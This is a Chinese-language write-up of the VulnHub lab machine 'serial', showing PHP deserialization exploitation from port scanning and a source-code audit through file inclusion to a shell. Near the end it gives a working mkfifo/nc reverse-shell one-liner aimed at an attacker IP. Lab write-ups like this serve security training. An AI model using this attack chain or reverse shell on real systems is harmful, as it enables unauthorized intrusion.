靶机描述
今天研究一下php反序列化,靶机serial实战。目标为获取root权限。
-------------------------------------
靶机信息
可以去vulhub上下载此靶机:serial: 1 ~ VulnHub下载好,之后,使用Vmware新建虚拟机打开:

渗透测试过程:
探测主机存活(目标主机IP地址)
使用nmap探测主机存活或者使用Kali里的netdicover进行探测。
扫描到存活主机, 开放了22和80端口

访问web服务

F12查看,是一串base64编码

解码,是一串代码

尝试逻辑绕过,将sk4换成admin,看看是否有什么信息。

这里直接报500错误,没办法,只有找其他思路。

目录扫描
-
1.使用工具进行扫描,这里扫到一个/backup/目录。

打开查看,是一个zip文件,下载查看,是三个源代码文件


发现三个php文件,打开看是
网站源码
代码审计
user.class.php
通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出。

经过代码审计可构造payload,尝试读取passwd文件,payload如下:

成功包含,看到有一个sk4用户可以登录
get shell
构造序列化语句上传shell


然后再次抓包 打开用burp的repeater

成功执行
上传后反弹shell
本地监听端口

开始反弹shell
rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+192.168.77.129+5555+>/tmp/f
将上述代码url编码后填入参数位置

监听成功

在攻击模块发送获取shell 查找一个txt.bak文件

查看文件得到密码

最后在远程连接 成功进入
